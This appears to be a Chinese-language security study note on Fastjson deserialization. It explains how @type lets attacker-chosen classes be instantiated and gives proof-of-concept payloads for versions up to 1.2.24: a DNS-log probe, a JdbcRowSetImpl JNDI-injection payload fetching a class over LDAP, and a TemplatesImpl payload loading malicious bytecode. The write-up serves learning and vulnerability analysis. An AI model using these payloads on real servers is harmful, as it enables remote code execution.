0x01前言
最近工作比较忙,给自己休整了几天,正好过两天就周末了要出门也没空学啥,所以打算把学习任务提前一下。原谅自己学习进度太慢了。。。
参考文章依旧是infer师傅的文章:https://infernity.top/2025/02/25/fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
还有一个师傅的文章写的也很好:Java安全学习——Fastjson反序列化漏洞
0x02Fastjson的序列化和反序列化
fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。
在fastjson中提供了两种接口函数
JSON#toJSONString()
实现对象的序列化操作
JSON#parseObject()/JSON#parse()
实现对象的反序列化操作
但是对于Fastjson来说,并不是所有的java对象都能被序列化为JSON,只有JavaBean格式的对象才能被Fastjson转化成JSON格式
我们写个demo来看看序列化和反序列化流程的走向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| class Person { public String name; public int age;
public String getName() { System.out.println("执行了getName方法"); return name; }
public void setName(String name) { System.out.println("执行了setName方法"); this.name = name; }
public int getAge() { System.out.println("执行了getAge方法"); return age; }
public void setAge(int age) { System.out.println("执行了setAge方法"); this.age = age; } }
|
然后我们写个序列化和反序列化的操作
先看看序列化的操作
1 2 3 4 5 6 7 8 9 10 11 12
| public class Demo { public static void main(String[] args) { Person p = new Person(); p.setName("John"); p.setAge(22);
System.out.println("----------序列化操作----------"); String json = JSON.toJSONString(p); System.out.println(json); } }
|
输出
1 2 3 4 5 6
| 执行了setName方法 执行了setAge方法 ----------序列化操作---------- 执行了getAge方法 执行了getName方法 {"age":22,"name":"John"}
|
在toJSONString()方法处打个断点调试一下
首先进入了第一个toJSOINString方法
1 2 3
| public static String toJSONString(Object object) { return toJSONString(object, emptyFilters); }
|
随后进入里面的另一个toJSONString()方法
1 2 3
| public static String toJSONString(Object object, SerializeFilter[] filters, SerializerFeature... features) { return toJSONString(object, SerializeConfig.globalInstance, filters, (String)null, DEFAULT_GENERATE_FEATURE, features); }
|
然后又是一个toJSONString()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public static String toJSONString(Object object, // SerializeConfig config, // SerializeFilter[] filters, // String dateFormat, // int defaultFeatures, // SerializerFeature... features) { SerializeWriter out = new SerializeWriter(null, defaultFeatures, features);
try { JSONSerializer serializer = new JSONSerializer(out, config); if (dateFormat != null && dateFormat.length() != 0) { serializer.setDateFormat(dateFormat); serializer.config(SerializerFeature.WriteDateUseDateFormat, true); }
if (filters != null) { for (SerializeFilter filter : filters) { serializer.addFilter(filter); } }
serializer.write(object);
return out.toString(); } finally { out.close(); } }
|
里面的就是具体的序列化流程了,这个就不深究了
我们再来看看反序列化流程
先看看JSON#parseObject()方法的参数
1 2 3
| public static <T> T parseObject(String text, Class<T> clazz) { return parseObject(text, clazz, new Feature[0]); }
|
接收JSON字符串和原生类作为参数,将JSON字符串转换为对应的Java对象。
反序列化看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class Demo { public static void main(String[] args) { Person p = new Person(); p.setName("John"); p.setAge(22);
System.out.println("----------序列化操作----------"); String json = JSON.toJSONString(p); System.out.println(json);
System.out.println("----------反序列化操作----------"); Person unserjson = JSON.parseObject(json, Person.class); System.out.println(unserjson); } }
|

其实到这里的话就很清楚了,在反序列化的时候,JSON#parseObject()方法会再一次调用原生类的Setter方法。
如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private
类型的属性值,Fastjson默认不会将其序列化和反序列化。
不过在上面的例子中可以看出,JSON#parseObject方法调用的时候我们是给它固定了原生类为Person.class,那么如果在实际环境中,有那么多的类的话,此时程序如何知道自己需要反序列化什么类的对象呢?这时候就需要用到一个注解@type了
将JSON反序列化为原始的类的方法有两种
- 第一种是在序列化的时候,在toJSONString方法中添加额外的属性
SerializerFeature.WriteClassName
,将对象类型一并序列化,我们测试一下

结果就是Fastjson在JSON字符串中添加了一个@type字段,这个用于标识对象所属的类
在反序列化的时候,parse()方法就会根据@type字段去转化成原来的类

- 第二种方法是在反序列化的时候,在
parseObject()
方法中手动指定对象的类型
0x02Fastjson中的@type
我们介绍一下这里的@type字段
@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。
再来看看下面两个测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Demo { public static void main(String[] args) {
System.out.println("----------反序列化操作1----------"); String ser_json1 = "{\"name\":\"wanth3f1ag\",\"age\":22}"; JSON.parseObject(ser_json1);
System.out.println("----------反序列化操作2----------"); String ser_json2 = "{\"@type\":\"SerializeChains.FastjsonSer.Person\",\"name\":\"wanth3f1ag\",\"age\":22}"; JSON.parseObject(ser_json2); } }
|

可以看到在没有指定@type字段的时候,程序并不知道该把JSON字符串序列化成哪个类型的对象,当我们用@type属性后,就能正常的将JSON字符串按照Person类去反序列化回java对象
这样就会调用对应的setter和getter方法。
那么这里就引出一个问题,如果这里的@type没有进行特殊的处理和检查,我们是否可以利用这个属性去指定一些恶意类去实例化利用他们呢?
例如DNS请求的类
1
| {"@type":"java.net.InetAddress","val":"b3jv10.dnslog.cn"}
|

成功接收到DNS请求
那么同样的,我们的类中的getter或setter方法包含恶意代码的话也就能执行

因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。
0x03Fastjson <= 1.2.24-Chains
我们来看最开始出现序列化的版本Fastjson<=1.2.24,在这个版本中是默认支持@type这个属性的
这个版本有两条利用链JdbcRowSetImpl利用链和Templateslmpl利用链
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,需要结合JDBC的攻击手法去利用,这个是通用性最强的利用方式
JdbcRowSetImpl
利用链的重点就在怎么调用autoCommit
的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。
我们看一下JdbcRowSetImpl类中的setAutoCommit方法

如果conn为null的话就会进入else语句,并调用到connect()方法,我们跟进看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
|
这里的话如果配置了数据源名称(DataSourceName)时会优先通过JNDI获取连接,之后并根据是否配置了用户名和密码选择对应的连接方法。如果没有配置数据源名称的话会通过 JDBC URL 直接获取连接。
跟进看一下lookup方法,发现lookup方法是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。

然后我们看一下DataSourceName的set和get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public String getDataSourceName() { return dataSource; } public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
URL = null; }
|
setDataSourceName
()方法会设置dataSource
的值
所以我们这里将dataSource赋值为我们恶意文件的远程地址。
因此我们可以构造利用链,设置@type的类型为jdbcRowSetlmpl类型,然后我们将dataSourceName传给lookup方法,最后再设置一下autoCommit属性,让lookup触发就行了
payload1(LDAP+JDBC)
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON; public class Fastjson_Jdbc_LDAP { public static void main(String[] args) { String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}"; JSON.parse(payload); } }
|
需要注意的是,这里的dataSourceName需要放在autoCommit前面,因为反序列化的顺序问题,我们需要先让setDataSourceName执行,然后再执行setautoCommit。
TemplatesImpl利用链
影响1.2.22-1.2.24
这个之前讲过很多次了只不过这里的话是利用json反序列化去打的而已
1 2 3 4 5 6 7
| { "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":[恶意类的base64], '_name':'test', '_tfactory':{}, '_outputProperties':{} }
|
payload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package SerializeChains.FastjsonSer;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64;
public class POC2 { public static void main(String[] args) throws IOException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class")); String base64_code = Base64.getEncoder().encodeToString(bytes);
String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\""+base64_code+"\"]," + "\"_name\":\"test\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}" + "}\n";
JSON.parseObject(Payload, Object.class, new ParserConfig(), Feature.SupportNonPublicField); } }
|
由于payload需要赋值的一些属性为private
类型,需要在parse()
反序列化时设置第二个参数Feature.SupportNonPublicField
,服务端才能从JSON中恢复private
类型的属性。
这里的话有三个问题
问题1:base64编码
根据之前的学习,我们知道其实_bytecodes需要传入的是一个字节码,但是为什么这里需要用base64编码呢?
因为在反序列化的时候,会对字符串的类型进行一个判断,如果是一个base64编码的话会被解码成byte数组
我们可以调试一下

然后进入bytesValue()方法

这里的话会对传入的base64进行一个解码操作
问题2:_tfactory为什么为空
在之前CC3中可以知道,_tfactory
需要设置为一个TransformerFactoryImpl对象才能让链子走下去,但是这里为什么为空也能正常执行呢?
因为为空会新建实例进行赋值
至于_tfactory为什么会知道是TransformerFactoryImpl呢?这是在类中已经定义好了。
1
| private transient TransformerFactoryImpl _tfactory = null;
|
问题3:如何调用getOutputProperties方法
对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()
方法能够最终走到defineClass(),并且格式也符合getter。所以构造一个TemplatesImpl
类的JSON,并且将_outputProperties
赋值,这样Fastjson在反序列化时就会调用getOutputProperties()
方法了。